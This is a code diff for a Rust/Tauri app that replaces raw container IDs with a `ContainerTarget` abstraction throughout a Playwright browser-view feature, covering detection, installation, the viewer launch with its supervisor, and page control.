 use crate::browser_view::{manager, page, popout, BrowserViewState, BrowserViewStatus};
+use crate::host::ContainerTarget;
 use crate::AppState;
 
 /// Turn the pane on or off for a project.
@@ -57,12 +58,12 @@ pub async fn set_browser_view_enabled(
         return Ok(manager().status(&project_id, false).await);
     }
 
-    let container_id = running_container(&state, &project_id, "opening the browser view").await?;
+    let container = running_container(&state, &project_id, "opening the browser view").await?;
 
     manager()
         .start(
             project_id,
-            container_id,
+            container,
             app_handle,
             state.projects_store.clone(),
         )
@@ -106,8 +107,8 @@ pub async fn check_browser_view_support(
     project_id: String,
     state: State<'_, AppState>,
 ) -> Result<crate::browser_view::detect::PlaywrightDetection, String> {
-    let container_id = running_container(&state, &project_id, "checking for Playwright").await?;
-    crate::browser_view::detect::detect(&container_id).await
+    let container = running_container(&state, &project_id, "checking for Playwright").await?;
+    crate::browser_view::detect::detect(&container).await
 }
 
 /// Install `playwright` and `@playwright/cli` into the container.
@@ -125,8 +126,8 @@ pub async fn install_browser_view_support(
     app_handle: AppHandle,
     state: State<'_, AppState>,
 ) -> Result<BrowserSetupOutcome, String> {
-    let container_id = running_container(&state, &project_id, "installing Playwright").await?;
-    install::install_packages(&app_handle, &project_id, &container_id).await
+    let container = running_container(&state, &project_id, "installing Playwright").await?;
+    install::install_packages(&app_handle, &project_id, &container).await
 }
 
 /// Install a browser — `chromium` (Playwright's own build, for scripts that
@@ -143,8 +144,8 @@ pub async fn install_browser_view_browser(
     state: State<'_, AppState>,
 ) -> Result<BrowserSetupOutcome, String> {
     let target = install::BrowserTarget::parse(&browser)?;
-    let container_id = running_container(&state, &project_id, "installing a browser").await?;
-    install::install_browser(&app_handle, &project_id, &container_id, target).await
+    let container = running_container(&state, &project_id, "installing a browser").await?;
+    install::install_browser(&app_handle, &project_id, &container, target).await
 }
 
 /// Detach the view into a window of its own, or raise the one already open.
@@ -240,17 +241,17 @@ pub async fn open_page_in_container_browser(
     if !(trimmed.starts_with("http://") || trimmed.starts_with("https://")) {
         return Err("Only http:// and https:// URLs can be opened in the browser.".to_string());
     }
-    let container_id = running_container(&state, &project_id, "opening a page").await?;
+    let container = running_container(&state, &project_id, "opening a page").await?;
     crate::commands::project_commands::emit_progress(
         &app_handle,
         &project_id,
         "Checking the container for Playwright…",
     );
-    let detection = crate::browser_view::detect::detect(&container_id).await?;
+    let detection = crate::browser_view::detect::detect(&container).await?;
     let opened = page::open(
         &app_handle,
         &project_id,
-        &container_id,
+        &container,
         &detection,
         trimmed,
         page::Viewport::sane(width, height),
@@ -273,7 +274,7 @@ pub async fn open_page_in_container_browser(
         manager()
             .start(
                 project_id.clone(),
-                container_id,
+                container,
                 app_handle.clone(),
                 state.projects_store.clone(),
             )
@@ -309,8 +310,8 @@ pub async fn set_container_page_viewport(
     height: u32,
     state: State<'_, AppState>,
 ) -> Result<(), String> {
-    let container_id = running_container(&state, &project_id, "resizing the page").await?;
-    page::set_viewport(&container_id, page::Viewport::sane(width, height)).await
+    let container = running_container(&state, &project_id, "resizing the page").await?;
+    page::set_viewport(&container, page::Viewport::sane(width, height)).await
 }
 
 /// State of the page this opened, if any. Never fails: "no page" is an answer.
@@ -319,10 +320,10 @@ pub async fn get_container_page_state(
     project_id: String,
     state: State<'_, AppState>,
 ) -> Result<page::PageState, String> {
-    let Ok(container_id) = running_container(&state, &project_id, "reading the page").await else {
+    let Ok(container) = running_container(&state, &project_id, "reading the page").await else {
         return Ok(page::PageState::default());
     };
-    Ok(page::state(&container_id).await)
+    Ok(page::state(&container).await)
 }
 
 /// Close the page this opened, leaving the view itself running.
@@ -331,8 +332,8 @@ pub async fn close_container_page(
     project_id: String,
     state: State<'_, AppState>,
 ) -> Result<(), String> {
-    let container_id = running_container(&state, &project_id, "closing the page").await?;
-    page::close(&container_id).await;
+    let container = running_container(&state, &project_id, "closing the page").await?;
+    page::close(&container).await;
     Ok(())
 }
 
@@ -356,8 +357,8 @@ pub async fn set_browser_view_match_window(
     let Some((width, height)) = popout::inner_size(&app_handle, &project_id) else {
         return Ok(());
     };
-    let container_id = running_container(&state, &project_id, "matching the window").await?;
-    page::set_viewport(&container_id, page::Viewport::sane(width, height)).await
+    let container = running_container(&state, &project_id, "matching the window").await?;
+    page::set_viewport(&container, page::Viewport::sane(width, height)).await
 }
 
 /// Whether match-window mode is on. Read on mount, like the rest of the
@@ -391,28 +392,25 @@ async fn running_container(
     state: &State<'_, AppState>,
     project_id: &str,
     action: &str,
-) -> Result<String, String> {
+) -> Result<ContainerTarget, String> {
     let project = state
         .projects_store
         .get(project_id)
         .ok_or_else(|| format!("Project {} not found", project_id))?;
 
-    let Some(container_id) = project.container_id.clone() else {
+    let Some(container) = ContainerTarget::for_project(&project) else {
         return Err(format!(
             "This project has no container yet. Start it before {}.",
             action
         ));
     };
-    if !crate::docker::container::is_container_running(&container_id)
-        .await
-        .unwrap_or(false)
-    {
+    if !container.is_running().await.unwrap_or(false) {
         return Err(format!(
             "The container for “{}” isn't running. Start it before {}.",
             project.name, action
         ));
     }
-    Ok(container_id)
+    Ok(container)
 }
 
 #[cfg(test)]

app/src-tauri/src/browser_view/detect.rs

@@ -36,7 +36,7 @@
 
 use serde::{Deserialize, Serialize};
 
-use crate::docker::exec::exec_oneshot;
+use crate::host::ContainerTarget;
 
 /// Marks the JSON payload in the probe's stdout, so unrelated chatter on the
 /// same stream (npm notices, Node warnings) can't be mistaken for the result.
@@ -277,12 +277,14 @@ impl PlaywrightDetection {
 /// Playwright installed with `npm i -g`, or merely *run* once through
 /// `npx @playwright/mcp`, is found as readily as one in
 /// `/workspace/node_modules`.
-pub async fn detect(container_id: &str) -> Result<PlaywrightDetection, String> {
-    let output = exec_oneshot(
-        container_id,
-        vec!["node".to_string(), "-e".to_string(), PROBE.to_string()],
-    )
-    .await?;
+pub async fn detect(container: &ContainerTarget) -> Result<PlaywrightDetection, String> {
+    let output = container
+        .exec_oneshot(vec![
+            "node".to_string(),
+            "-e".to_string(),
+            PROBE.to_string(),
+        ])
+        .await?;
 
     parse_probe_output(&output)
 }

app/src-tauri/src/browser_view/install.rs

@@ -67,9 +67,7 @@ use serde::Serialize;
 use tauri::AppHandle;
 
 use crate::commands::project_commands::emit_progress;
-use crate::docker::exec::{
-    create_attached_exec_as, exec_oneshot_as, wait_for_exec_exit, AttachedExec,
-};
+use crate::host::{AttachedExec, ContainerTarget, ExecSpec};
 
 use super::detect::{self, PlaywrightDetection};
 
@@ -240,7 +238,7 @@ pub struct BrowserSetupOutcome {
 pub async fn install_packages(
     app: &AppHandle,
     project_id: &str,
-    container_id: &str,
+    container: &ContainerTarget,
 ) -> Result<BrowserSetupOutcome, String> {
     emit_progress(
         app,
@@ -248,7 +246,7 @@ pub async fn install_packages(
         &format!("Installing @playwright/cli into {}/node_modules…", INSTALL_DIR),
     );
 
-    let mut step = npm_install(app, project_id, container_id, &[VIEWER_PACKAGE]).await?;
+    let mut step = npm_install(app, project_id, container, &[VIEWER_PACKAGE]).await?;
     if step.exit_code != 0 {
         return Err(format!(
             "npm couldn't install the viewer package in this container (exit {}).\n\nnpm said:\n{}",
@@ -265,9 +263,9 @@ pub async fn install_packages(
     // see the note on `npm_install`. The pin can only be read after the first
     // install has written the manifest, which is why this stays two commands
     // rather than one.
-    let spec = pinned_playwright_spec(container_id).await;
+    let spec = pinned_playwright_spec(container).await;
     emit_progress(app, project_id, &format!("Installing {}…", spec));
-    let second = npm_install(app, project_id, container_id, &[VIEWER_PACKAGE, &spec]).await?;
+    let second = npm_install(app, project_id, container, &[VIEWER_PACKAGE, &spec]).await?;
     if second.exit_code != 0 {
         return Err(format!(
             "npm couldn't install {} in this container (exit {}).\n\nnpm said:\n{}",
@@ -279,7 +277,7 @@ pub async fn install_packages(
     step.log = merge_logs(step.log, second.log);
 
     emit_progress(app, project_id, "Re-checking what the container has…");
-    let detection = detect::detect(container_id).await?;
+    let detection = detect::detect(container).await?;
 
     // A probe that still finds something missing after a successful npm run is
     // the interesting case, so it is surfaced rather than swallowed. And a
@@ -331,7 +329,7 @@ pub async fn install_packages(
 async fn npm_install(
     app: &AppHandle,
     project_id: &str,
-    container_id: &str,
+    container: &ContainerTarget,
     specs: &[&str],
 ) -> Result<StepResult, String> {
     let mut cmd = vec![
@@ -348,7 +346,7 @@ async fn npm_install(
     run_step(
         app,
         project_id,
-        container_id,
+        container,
         "claude",
         INSTALL_DIR,
         cmd,
@@ -363,20 +361,20 @@ async fn npm_install(
 /// Read from the manifest npm just wrote rather than guessed, and falling back
 /// to `@latest` when it can't be read — an unreadable manifest is a reason to
 /// install something, not nothing.
-async fn pinned_playwright_spec(container_id: &str) -> String {
+async fn pinned_playwright_spec(container: &ContainerTarget) -> String {
     let script = format!(
         "try{{const d=require('{}/node_modules/@playwright/cli/package.json').dependencies||{{}};\
          process.stdout.write(d.playwright||'');}}catch(e){{}}",
         INSTALL_DIR
     );
-    let (out, _code) = exec_oneshot_as(
-        container_id,
-        "claude",
-        vec!["node".to_string(), "-e".to_string(), script],
-        Vec::new(),
-    )
-    .await
-    .unwrap_or_default();
+    let (out, _code) = container
+        .exec_oneshot_as(
+            "claude",
+            vec!["node".to_string(), "-e".to_string(), script],
+            Vec::new(),
+        )
+        .await
+        .unwrap_or_default();
 
     let version: &str = out.trim();
     // A version, not a range or a URL: anything else goes to the fallback
@@ -411,10 +409,10 @@ fn merge_logs(first: String, second: String) -> String {
 pub async fn install_browser(
     app: &AppHandle,
     project_id: &str,
-    container_id: &str,
+    container: &ContainerTarget,
     target: BrowserTarget,
 ) -> Result<BrowserSetupOutcome, String> {
-    let before = detect::detect(container_id).await?;
+    let before = detect::detect(container).await?;
     let Some(cli) = before.playwright_cli.clone() else {
         return Err(
             "Playwright isn't installed in this container yet, so there is nothing to install a \
@@ -458,7 +456,7 @@ pub async fn install_browser(
         project_id,
         "Step 1/3 — checking whether this container already has the browser system libraries…",
     );
-    let state = check_libraries(container_id, &cli, target).await;
+    let state = check_libraries(container, &cli, target).await;
     match &state {
         LibraryState::Present => {
             emit_progress(
@@ -482,7 +480,7 @@ pub async fn install_browser(
             let deps = run_step(
                 app,
                 project_id,
-                container_id,
+                container,
                 "root",
                 "/tmp",
                 vec![
@@ -530,7 +528,7 @@ pub async fn install_browser(
     let dl = run_step(
         app,
         project_id,
-        container_id,
+        container,
         user,
         workdir,
         vec![
@@ -559,7 +557,7 @@ pub async fn install_browser(
         project_id,
         &format!("Step 3/3 — checking that {} actually launches…", target.cli_name()),
     );
-    let verdict = verify_launch(container_id, &before, target).await;
+    let verdict = verify_launch(container, &before, target).await;
     push_section(&mut log, &verdict.detail);
     if !verdict.ok {
         warning = merge(
@@ -590,7 +588,7 @@ pub async fn install_browser(
     }
 
     emit_progress(app, project_id, "Re-checking what the container has…");
-    let detection = detect::detect(container_id).await?;
+    let detection = detect::detect(container).await?;
 
     Ok(BrowserSetupOutcome {
         detection,
@@ -642,9 +640,12 @@ impl LibraryState {
 /// dpkg's status file. A *missing* package on such an image is simply not in
 /// any index, so apt fails, Playwright reports the failure, and this returns
 /// [`LibraryState::Unknown`] — which installs, which is the right answer.
-async fn check_libraries(container_id: &str, cli: &str, target: BrowserTarget) -> LibraryState {
-    let run = exec_oneshot_as(
-        container_id,
+async fn check_libraries(
+    container: &ContainerTarget,
+    cli: &str,
+    target: BrowserTarget,
+) -> LibraryState {
+    let run = container.exec_oneshot_as(
         "root",
         vec![
             "node".to_string(),
@@ -708,7 +709,7 @@ struct LaunchVerdict {
 /// Launch the browser headless, load one page, and close it. Seconds, and it is
 /// the only thing that distinguishes "downloaded" from "usable".
 async fn verify_launch(
-    container_id: &str,
+    container: &ContainerTarget,
     detection: &PlaywrightDetection,
     target: BrowserTarget,
 ) -> LaunchVerdict {
@@ -724,8 +725,7 @@ async fn verify_launch(
     };
     let dir = manifest.trim_end_matches("package.json").trim_end_matches('/');
 
-    let run = exec_oneshot_as(
-        container_id,
+    let run = container.exec_oneshot_as(
         "claude",
         vec![
             "node".to_string(),
@@ -884,13 +884,13 @@ impl StepResult {
 /// Run one command in the container, streaming every line it prints to the pane
 /// as `container-progress` and keeping the tail for the result.
 ///
-/// Uses `create_attached_exec_as` — the single attached-exec path — rather than
+/// Uses [`ContainerTarget::attach`] — the single attached-exec path — rather than
 /// `exec_oneshot`, because these commands run for minutes and the point is that
 /// the user can watch them.
 async fn run_step(
     app: &AppHandle,
     project_id: &str,
-    container_id: &str,
+    container: &ContainerTarget,
     user: &str,
     workdir: &str,
     cmd: Vec<String>,
@@ -900,7 +900,14 @@ async fn run_step(
         exec_id,
         mut output,
         input,
-    } = create_attached_exec_as(container_id, cmd, false, user, workdir).await?;
+    } = container
+        .attach(
+            ExecSpec::new(cmd)
+                .tty(false)
+                .user(user)
+                .working_dir(Some(workdir)),
+        )
+        .await?;
 
     // Nothing is ever written to this exec. Closing stdin means anything that
     // would prompt sees EOF and gives up, instead of waiting for a person who
@@ -944,7 +951,7 @@ async fn run_step(
         )),
         Ok(Err(e)) => Err(e),
         Ok(Ok(())) => Ok(StepResult {
-            exit_code: wait_for_exec_exit(&exec_id).await.unwrap_or(0),
+            exit_code: container.wait_exec_exit(&exec_id).await.unwrap_or(0),
             log,
         }),
     }

app/src-tauri/src/browser_view/mod.rs

@@ -50,7 +50,7 @@
 //! | Trigger | Path |
 //! |---|---|
 //! | Turned off in the UI | `set_browser_view_enabled(false)` → persist `false`, then [`BrowserViewManager::stop`] |
-//! | Container stopped, by the UI or otherwise | supervisor's `is_container_running` check |
+//! | Container stopped, by the UI or otherwise | supervisor's `is_running` check |
 //! | Project deleted | supervisor's `store.get()` check |
 //! | Container rebuilt | old container stops → supervisor exits; the new one is not auto-started |
 //! | Viewer died in the container | supervisor's periodic HTTP liveness probe |
@@ -90,8 +90,7 @@ use tokio::sync::{watch, Mutex};
 use tokio::task::JoinHandle;
 
 use crate::auth_bridge::proc_net::{self, PortFamily};
-use crate::docker::container::is_container_running;
-use crate::docker::exec::exec_oneshot;
+use crate::host::ContainerTarget;
 use crate::storage::projects_store::ProjectsStore;
 
 use detect::PlaywrightDetection;
@@ -282,7 +281,7 @@ impl BrowserViewManager {
     pub async fn start(
         &self,
         project_id: String,
-        container_id: String,
+        container: ContainerTarget,
         app: AppHandle,
         store: Arc<ProjectsStore>,
     ) -> Result<BrowserViewStatus, String> {
@@ -300,7 +299,7 @@ impl BrowserViewManager {
             return Ok(self.status(&project_id, true).await);
         }
 
-        let detection = detect::detect(&container_id).await?;
+        let detection = detect::detect(&container).await?;
         if !detection.is_usable() {
             let blocker = detection.blocker().unwrap_or_else(|| {
                 "Playwright is present but incomplete in this container.".to_string()
@@ -320,15 +319,15 @@ impl BrowserViewManager {
         // Doing this before choosing a port also frees the one a previous
         // session was using, so sessions don't walk up the range. Best-effort:
         // a container with no dashboard makes this a no-op.
-        let _ = kill_dashboard(&container_id, &cli_entry).await;
+        let _ = kill_dashboard(&container, &cli_entry).await;
 
-        let (container_port, entry_path) = start_viewer(&container_id, &cli_entry).await?;
+        let (container_port, entry_path) = start_viewer(&container, &cli_entry).await?;
 
         let token = generate_token();
         // `--host 127.0.0.1` is ours to set, so the family is known and there is
         // no need to go back to /proc/net to work it out.
         let proxy = match BrowserViewProxy::bind(
-            container_id.clone(),
+            container.clone(),
             container_port,
             PortFamily::V4,
             token.clone(),
@@ -337,7 +336,7 @@ impl BrowserViewManager {
         {
             Ok(p) => p,
             Err(e) => {
-                let _ = kill_dashboard(&container_id, &cli_entry).await;
+                let _ = kill_dashboard(&container, &cli_entry).await;
                 return Err(e);
             }
         };
@@ -354,7 +353,7 @@ impl BrowserViewManager {
         let (cancel_tx, cancel_rx) = watch::channel(false);
         let supervisor = tokio::spawn(supervise(
             project_id.clone(),
-            container_id.clone(),
+            container,
             cli_entry,
             container_port,
             epoch,
@@ -427,7 +426,7 @@ impl BrowserViewManager {
 #[allow(clippy::too_many_arguments)]
 async fn supervise(
     project_id: String,
-    container_id: String,
+    container: ContainerTarget,
     cli_entry: String,
     container_port: u16,
     epoch: u64,
@@ -443,7 +442,7 @@ async fn supervise(
             log::info!("Browser view: project {} is gone — tearing down", project_id);
             break;
         }
-        if !is_container_running(&container_id).await.unwrap_or(false) {
+        if !container.is_running().await.unwrap_or(false) {
             log::info!(
                 "Browser view: container for project {} is no longer running — tearing down",
                 project_id
@@ -459,7 +458,7 @@ async fn supervise(
             // view never waits out an in-flight exec.
             let alive = tokio::select! {
                 _ = cancel.changed() => break,
-                res = probe_entry_path(&container_id, container_port) => res.is_ok(),
+                res = probe_entry_path(&container, container_port) => res.is_ok(),
             };
             if !alive {
                 log::warn!(
@@ -477,7 +476,7 @@ async fn supervise(
     }
 
     proxy.shutdown().await;
-    let _ = kill_dashboard(&container_id, &cli_entry).await;
+    let _ = kill_dashboard(&container, &cli_entry).await;
 
     // Deregister, unless a newer session has already taken this project's slot.
     let superseded = {
@@ -538,7 +537,11 @@ const VIEWER_LOG: &str = "/tmp/triple-c-browser-view.log";
 /// redirected to [`VIEWER_LOG`] (both so `exec_oneshot` can return immediately
 /// rather than waiting on an inherited stdout, and so a failure has a trail),
 /// and readiness is established by [`wait_until_ready`] instead.
-async fn launch_viewer(container_id: &str, cli_entry: &str, port: u16) -> Result<(), String> {
+async fn launch_viewer(
+    container: &ContainerTarget,
+    cli_entry: &str,
+    port: u16,
+) -> Result<(), String> {
     // `NO_UPDATE_NOTIFIER` stops the CLI phoning registry.npmjs.org on every
     // launch; the container may have no egress, and we don't want to wait out a
     // DNS timeout before the dashboard binds.
@@ -549,13 +552,11 @@ async fn launch_viewer(container_id: &str, cli_entry: &str, port: u16) -> Result
         port,
         VIEWER_LOG
     );
-    exec_oneshot(
-        container_id,
-        vec!["sh".to_string(), "-c".to_string(), script],
-    )
-    .await
-    .map(|_| ())
-    .map_err(|e| format!("Could not start the Playwright viewer: {}", e))
+    container
+        .exec_oneshot(vec!["sh".to_string(), "-c".to_string(), script])
+        .await
+        .map(|_| ())
+        .map_err(|e| format!("Could not start the Playwright viewer: {}", e))
 }
 
 /// The dashboard singleton is keyed on a hash of the working directory, so
@@ -567,17 +568,15 @@ async fn launch_viewer(container_id: &str, cli_entry: &str, port: u16) -> Result
 const WORKDIR_PREFIX: &str = "cd /workspace 2>/dev/null || true";
 
 /// Stop the dashboard daemon. Verified to free the port and stop answering.
-async fn kill_dashboard(container_id: &str, cli_entry: &str) -> Result<String, String> {
+async fn kill_dashboard(container: &ContainerTarget, cli_entry: &str) -> Result<String, String> {
     let script = format!(
         "{}; NO_UPDATE_NOTIFIER=1 node {} show --kill",
         WORKDIR_PREFIX,
         shell_quote(cli_entry)
     );
-    exec_oneshot(
-        container_id,
-        vec!["sh".to_string(), "-c".to_string(), script],
-    )
-    .await
+    container
+        .exec_oneshot(vec!["sh".to_string(), "-c".to_string(), script])
+        .await
 }
 
 /// Turn a failed start into something the user can act on.
@@ -604,13 +603,16 @@ fn explain_start_failure(err: &str, log: &str) -> String {
 }
 
 /// Tail of the viewer's own output, for a start that didn't come up.
-async fn read_viewer_log(container_id: &str) -> String {
-    exec_oneshot(
-        container_id,
-        vec!["tail".to_string(), "-n".to_string(), "40".to_string(), VIEWER_LOG.to_string()],
-    )
-    .await
-    .unwrap_or_default()
+async fn read_viewer_log(container: &ContainerTarget) -> String {
+    container
+        .exec_oneshot(vec![
+            "tail".to_string(),
+            "-n".to_string(),
+            "40".to_string(),
+            VIEWER_LOG.to_string(),
+        ])
+        .await
+        .unwrap_or_default()
 }
 
 // ─────────────────────────────────────────────────────────────────────────────
@@ -645,14 +647,17 @@ const MAX_PORT_ATTEMPTS: usize = 3;
 /// this layer, and the pane would then front it. What contains that is
 /// downstream — the host proxy is loopback-only and token-gated, and the pane's
 /// iframe is sandboxed — not this function.
-async fn start_viewer(container_id: &str, cli_entry: &str) -> Result<(u16, String), String> {
+async fn start_viewer(
+    container: &ContainerTarget,
+    cli_entry: &str,
+) -> Result<(u16, String), String> {
     let mut tried: Vec<u16> = Vec::new();
     let mut last: Option<String> = None;
 
     for _ in 0..MAX_PORT_ATTEMPTS {
         // Re-read the listener snapshot each attempt: the port that was free a
         // moment ago is exactly the one we may have just lost.
-        let port = match pick_viewer_port(container_id, &tried).await {
+        let port = match pick_viewer_port(container, &tried).await {
             Ok(p) => p,
             Err(e) => {
                 // Report why the *attempts* failed, not just "nothing free":
@@ -666,21 +671,21 @@ async fn start_viewer(container_id: &str, cli_entry: &str) -> Result<(u16, Strin
         };
         tried.push(port);
 
-        launch_viewer(container_id, cli_entry, port).await?;
+        launch_viewer(container, cli_entry, port).await?;
 
         // Wait for it to actually answer, and learn the entry URL while we're
         // there — see `probe_entry_path` for why that matters. This, not the
         // launcher's stdout, is the readiness signal: verified that the
         // "Listening on …" line is printed only on the very first start.
-        match wait_until_ready(container_id, port).await {
+        match wait_until_ready(container, port).await {
             Ok(path) => return Ok((port, path)),
             Err(e) => {
-                let log = read_viewer_log(container_id).await;
+                let log = read_viewer_log(container).await;
                 // Always kill before retrying: the dashboard is a singleton, so
                 // a launcher that came up on some *other* port would otherwise
                 // make every further attempt a no-op that silently ignores the
                 // port we asked for.
-                let _ = kill_dashboard(container_id, cli_entry).await;
+                let _ = kill_dashboard(container, cli_entry).await;
                 last = Some(explain_start_failure(&e, &log));
             }
         }
@@ -691,10 +696,9 @@ async fn start_viewer(container_id: &str, cli_entry: &str) -> Result<(u16, Strin
 
 /// First port in [`VIEWER_PORTS`] that nothing in the container is listening on
 /// and that this start has not already tried.
-async fn pick_viewer_port(container_id: &str, tried: &[u16]) -> Result<u16, String> {
-    let text = exec_oneshot(
-        container_id,
-        vec![
+async fn pick_viewer_port(container: &ContainerTarget, tried: &[u16]) -> Result<u16, String> {
+    let text = container
+        .exec_oneshot(vec![
             // Absolute path, deliberately, for the same reason the auth bridge
             // uses one: `container/Dockerfile` puts a container-writable
             // directory first on `PATH`, so a bare `cat` is a name the container
@@ -704,10 +708,9 @@ async fn pick_viewer_port(container_id: &str, tried: &[u16]) -> Result<u16, Stri
             "/usr/bin/cat".to_string(),
             "/proc/net/tcp".to_string(),
             "/proc/net/tcp6".to_string(),
-        ],
-    )
-    .await
-    .unwrap_or_default();
+        ])
+        .await
+        .unwrap_or_default();
     let taken = proc_net::parse_loopback_listeners(&text);
     VIEWER_PORTS
         .clone()
@@ -722,10 +725,10 @@ async fn pick_viewer_port(container_id: &str, tried: &[u16]) -> Result<u16, Stri
 }
 
 /// Poll the viewer until it answers, and return the path the pane should load.
-async fn wait_until_ready(container_id: &str, port: u16) -> Result<String, String> {
+async fn wait_until_ready(container: &ContainerTarget, port: u16) -> Result<String, String> {
     let deadline = tokio::time::Instant::now() + READY_TIMEOUT;
     loop {
-        let last = match probe_entry_path(container_id, port).await {
+        let last = match probe_entry_path(container, port).await {
             Ok(path) => return Ok(path),
             Err(e) => e,
         };
@@ -751,7 +754,7 @@ const PROBE_MARKER: &str = "__TRIPLE_C_BV_PATH__";
 /// a redirect — which matters, because a redirect drops the `?token=` the proxy
 /// gate wants and would leave a fresh connection to be authorised with nothing.
 /// A `200` (no redirect) is fine too; then the entry point is just `/`.
-async fn probe_entry_path(container_id: &str, port: u16) -> Result<String, String> {
+async fn probe_entry_path(container: &ContainerTarget, port: u16) -> Result<String, String> {
     // The request is bounded on both sides. Verified: the dashboard answers a
     // bad WebSocket path by holding the socket open forever rather than
     // erroring, so "no reply" is a state this probe has to be able to leave —
@@ -766,10 +769,7 @@ async fn probe_entry_path(container_id: &str, port: u16) -> Result<String, Strin
     );
     let out = tokio::time::timeout(
         PROBE_TIMEOUT * 2,
-        exec_oneshot(
-            container_id,
-            vec!["node".to_string(), "-e".to_string(), script],
-        ),
+        container.exec_oneshot(vec!["node".to_string(), "-e".to_string(), script]),
     )
     .await
     .map_err(|_| "the viewer probe did not return".to_string())??;

app/src-tauri/src/browser_view/page.rs

@@ -37,7 +37,7 @@ use serde::{Deserialize, Serialize};
 use tauri::AppHandle;
 
 use crate::commands::project_commands::emit_progress;
-use crate::docker::exec::exec_oneshot_as;
+use crate::host::ContainerTarget;
 
 use super::detect::PlaywrightDetection;
 
@@ -91,7 +91,7 @@ pub struct PageState {
 pub async fn open(
     app: &AppHandle,
     project_id: &str,
-    container_id: &str,
+    container: &ContainerTarget,
     detection: &PlaywrightDetection,
     url: &str,
     viewport: Viewport,
@@ -115,17 +115,17 @@ pub async fn open(
     // Reuse a helper that is already up. Relaunching would throw away the
     // browser's cookies and storage — which for the auth case means signing in
     // again to reach the second page, having just signed in on the first.
-    if state(container_id).await.ready {
+    if state(container).await.ready {
         emit_progress(app, project_id, "Navigating the container's browser…");
-        set_viewport(container_id, viewport).await?;
-        navigate(container_id, url).await?;
-        if let Some(state) = wait_for_url(container_id, url).await {
+        set_viewport(container, viewport).await?;
+        navigate(container, url).await?;
+        if let Some(state) = wait_for_url(container, url).await {
             return Ok(state);
         }
         // It stopped answering; fall through and start a fresh one.
     }
 
-    close(container_id).await;
+    close(container).await;
     // Cold start: a browser launch plus a page load, which is the several
     // seconds the user would otherwise spend wondering whether the click
     // registered.
@@ -150,52 +150,52 @@ pub async fn open(
         shell_quote(&script),
         HELPER_LOG
     );
-    exec_oneshot_as(
-        container_id,
-        "claude",
-        vec!["sh".to_string(), "-c".to_string(), launcher],
-        Vec::new(),
-    )
-    .await
-    .map_err(|e| format!("Could not start the browser helper: {}", e))?;
+    container
+        .exec_oneshot_as(
+            "claude",
+            vec!["sh".to_string(), "-c".to_string(), launcher],
+            Vec::new(),
+        )
+        .await
+        .map_err(|e| format!("Could not start the browser helper: {}", e))?;
 
     emit_progress(app, project_id, "Waiting for the page to load…");
-    wait_until_ready(container_id).await
+    wait_until_ready(container).await
 }
 
 /// Resize the open page. Cheap enough to call from a window-resize handler.
-pub async fn set_viewport(container_id: &str, viewport: Viewport) -> Result<(), String> {
+pub async fn set_viewport(container: &ContainerTarget, viewport: Viewport) -> Result<(), String> {
     write_control(
-        container_id,
+        container,
         serde_json::json!({ "viewport": viewport }).to_string(),
     )
     .await
 }
 
 /// Navigate the open page without relaunching the browser.
-pub async fn navigate(container_id: &str, url: &str) -> Result<(), String> {
-    write_control(container_id, serde_json::json!({ "url": url }).to_string()).await
+pub async fn navigate(container: &ContainerTarget, url: &str) -> Result<(), String> {
+    write_control(container, serde_json::json!({ "url": url }).to_string()).await
 }
 
 /// Ask the helper to shut down. Best effort: a container that has none is the
 /// normal case, and the caller is usually about to start one anyway.
-pub async fn close(container_id: &str) {
-    let _ = write_control(container_id, serde_json::json!({ "close": true }).to_string()).await;
+pub async fn close(container: &ContainerTarget) {
+    let _ = write_control(container, serde_json::json!({ "close": true }).to_string()).await;
 }
 
 /// Current state, or a default when no helper has ever run here.
-pub async fn state(container_id: &str) -> PageState {
+pub async fn state(container: &ContainerTarget) -> PageState {
     let script = format!(
         "try{{process.stdout.write(require('fs').readFileSync('{}','utf8'));}}catch(e){{}}",
         STATE_PATH
     );
-    let Ok((out, _)) = exec_oneshot_as(
-        container_id,
-        "claude",
-        vec!["node".to_string(), "-e".to_string(), script],
-        Vec::new(),
-    )
-    .await
+    let Ok((out, _)) = container
+        .exec_oneshot_as(
+            "claude",
+            vec!["node".to_string(), "-e".to_string(), script],
+            Vec::new(),
+        )
+        .await
     else {
         return PageState::default();
     };
@@ -204,20 +204,20 @@ pub async fn state(container_id: &str) -> PageState {
 
 /// Write the control file through Node rather than a shell redirect, so a URL
 /// is never interpreted by `sh`.
-async fn write_control(container_id: &str, json: String) -> Result<(), String> {
+async fn write_control(container: &ContainerTarget, json: String) -> Result<(), String> {
     let script = format!(
         "require('fs').writeFileSync('{}',process.argv[1]);",
         CONTROL_PATH
     );
-    exec_oneshot_as(
-        container_id,
-        "claude",
-        vec!["node".to_string(), "-e".to_string(), script, json],
-        Vec::new(),
-    )
-    .await
-    .map(|_| ())
-    .map_err(|e| format!("Could not reach the browser helper: {}", e))
+    container
+        .exec_oneshot_as(
+            "claude",
+            vec!["node".to_string(), "-e".to_string(), script, json],
+            Vec::new(),
+        )
+        .await
+        .map(|_| ())
+        .map_err(|e| format!("Could not reach the browser helper: {}", e))
 }
 
 /// Wait for a *running* helper to report the URL we just asked it for.
@@ -225,10 +225,10 @@ async fn write_control(container_id: &str, json: String) -> Result<(), String> {
 /// Bounded much tighter than a cold start: the browser is already up, so this
 /// is one navigation. `None` means it stopped answering, and the caller starts
 /// a fresh helper rather than reporting a page that isn't there.
-async fn wait_for_url(container_id: &str, url: &str) -> Option<PageState> {
+async fn wait_for_url(container: &ContainerTarget, url: &str) -> Option<PageState> {
     let deadline = std::time::Instant::now() + REUSE_TIMEOUT;
     loop {
-        let state = state(container_id).await;
+        let state = state(container).await;
         if state.ready && state.url.as_deref() == Some(url) {
             return Some(state);
         }
@@ -240,10 +240,10 @@ async fn wait_for_url(container_id: &str, url: &str) -> Option<PageState> {
 }
 
 /// Poll the state file until the helper says the page is up, or says why not.
-async fn wait_until_ready(container_id: &str) -> Result<PageState, String> {
+async fn wait_until_ready(container: &ContainerTarget) -> Result<PageState, String> {
     let deadline = std::time::Instant::now() + READY_TIMEOUT;
     loop {
-        let state = state(container_id).await;
+        let state = state(container).await;
         if let Some(error) = state.error.clone() {
             return Err(error);
         }

app/src-tauri/src/browser_view/popout.rs

@@ -255,15 +255,15 @@ fn on_resized(app: &AppHandle, project_id: &str, width: u32, height: u32) {
         }
 
         let state = app.state::<crate::AppState>();
-        let Some(container_id) = state
+        let Some(container) = state
             .projects_store
             .get(&project_id)
-            .and_then(|p| p.container_id)
+            .and_then(|p| crate::host::ContainerTarget::for_project(&p))
         else {
             return;
         };
         if let Err(e) = super::page::set_viewport(
-            &container_id,
+            &container,
             super::page::Viewport::sane(width, height),
